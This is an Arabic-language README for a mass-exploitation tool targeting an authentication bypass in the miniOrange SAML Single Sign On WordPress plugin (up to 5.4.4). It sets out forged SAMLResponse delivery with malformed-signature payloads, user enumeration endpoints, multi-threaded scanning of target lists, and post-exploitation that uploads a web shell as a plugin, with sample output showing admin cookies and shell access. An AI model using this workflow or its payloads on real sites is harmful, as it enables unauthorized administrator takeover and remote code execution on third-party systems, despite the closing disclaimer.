
SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse
SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse
استغلال إثبات المفهوم
توقيع مشوّه ← openssl_verify() يُرجع -1 ← تحويل ضمني فضفاض في PHP إلى true ← wp_set_auth_cookie() بصلاحيات مدير النظام
ملحق SAML Single Sign On – SSO Login لووردبريس عرضة لتجاوز المصادقة في جميع الإصدارات حتى 5.4.4. ويعود السبب إلى قيام دالة mo_saml_validate_signature() بإجراء فحص منطقي فضفاض على القيمة الصحيحة ثلاثية الحالات التي يُرجعها openssl_verify() في PHP، مما يجعل القيمة الخاطئة -1 تُقيَّم على أنها صحيحة (truthy) وبالتالي تُعامل كتحقق ناجح من التوقيع.
يتيح هذا للمهاجمين غير المصادَق عليهم تسجيل الدخول باسم أي مستخدم ووردبريس موجود، بما في ذلك مدراء النظام، عبر إرسال استجابة SAMLResponse مصممة بعناية تحتوي على NameID يتحكم فيه المهاجم وقيمة توقيع مشوّهة عمدًا تؤدي إلى خطأ في معالجة OpenSSL — متجاوزين التحقق تمامًا، مما يؤدي إلى استدعاء wp_set_auth_cookie() للحساب المستهدف.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
الإصلاح بسيط — استخدام if ($result === 1) بدلاً من if ($result) — لكن تأثير الخلل هو تجاوز كامل للمصادقة.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login واستخراج عناوين IdP الأساسيةlxml</Issuer> وفق مواصفة SAMLopenssl_verify() = -1wordpress_logged_in_* بعد كل محاولةPython >= 3.8
pip install requests lxml
lxmlمطلوب لإجراء تطبيع Exclusive C14N الصحيح لتأكيد SAML.
python CVE-2026-15981.py
سيُطلب منك ما يلي:
| المُطالَبَة | الوصف | الافتراضي |
|---|---|---|
| ملف الأهداف | مسار ملف نصي يحتوي على هدف واحد لكل سطر | list.txt |
| الخيوط (Threads) | عدد العمال المتزامنين (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
عنوان URL واحد لكل سطر. يُستخدم HTTP افتراضيًا إذا لم يُحدَّد بروتوكول.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
يتقدّم كل هدف عبر 7 مراحل معنونة:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| الملف | المحتوى |
|---|---|
sms.txt | سطر واحد لكل جلسة مدير مؤكدة — الطابع الزمني، الهدف، المستخدم، الكوكي، رابط الشيل، المصدِر، طريقة التوقيع |
sms_debug.json | JSON تشخيصي كامل لكل هدف — بما في ذلك عدد المحاولات وتصنيفات الفشل |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
تشتمل الأداة على أكثر من 12 حمولة توقيع مصممة خصيصًا لاستدعاء openssl_verify() = -1:
تُدمج كل حمولة مع معرفات خوارزمية SHA-1 وSHA-256، وتُختبَر مع/بدون تقييد Audience، عبر معرّفات كيانات SP متعددة — مما يزيد إلى أقصى حد فرصة الوصول إلى مسار الإرجاع -1 على أي إصدار من OpenSSL.
تُقدَّم هذه الأداة حصريًا لأغراض اختبار الأمان المصرح به والبحث التعليمي. لا تستخدمها إلا ضد أنظمة تملكها أو لديك تفويض كتابي صريح لاختبارها.
الوصول غير المصرح به إلى أنظمة الحاسوب جريمة جنائية. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار أو أي عواقب قانونية ناشئة عن استخدام هذا البرنامج. أنت وحدك المسؤول عن ضمان الامتثال لجميع القوانين واللوائح المعمول بها في نطاق ولايتك القضائية.
بواسطة: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| الحقل | التفاصيل |
|---|
| معرّف CVE | CVE-2026-15981 |
| الملحق المتأثر | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| الإصدارات المتأثرة | جميع الإصدارات حتى 5.4.4 وما دون |
| النوع | تجاوز المصادقة بدون مصادقة مسبقة |
| CWE | CWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness |
| CVSS 3.1 | 9.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | غير مطلوبة |
/wp-admin/ و/wp-admin/users.php و/wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD في نص الاستجابة| الحمولة | الوصف |
|---|
0xFF * 256 | 256 بايت من 0xFF — حشوة PKCS#1 غير صالحة |
0xFF * 384 | 384 بايت لأحجام مفاتيح RSA-3072 |
0xFF * 512 | 512 بايت لأحجام مفاتيح RSA-4096 |
0xFF * 128 | مخزن أقصر لأحجام مفاتيح أصغر |
0xFF * 64 | حشوة غير صالحة دنيا |
0x00 0x01 0xFF*254 | تشبه PKCS#1 v1.5 ولكن ببنية خاطئة |
0x00 0x01 0xFF*126 | بنية أقصر تشبه PKCS#1 |
null_2B | وحدتا بايت ملاصقتان بقيمة صفرية |
rand_3B / rand_7B | بايتات عشوائية — تؤدي إلى أخطاء تحليل |
asn1_bad | تسلسل ASN.1 DER مشوّه |
ff_1B | بايت واحد 0xFF |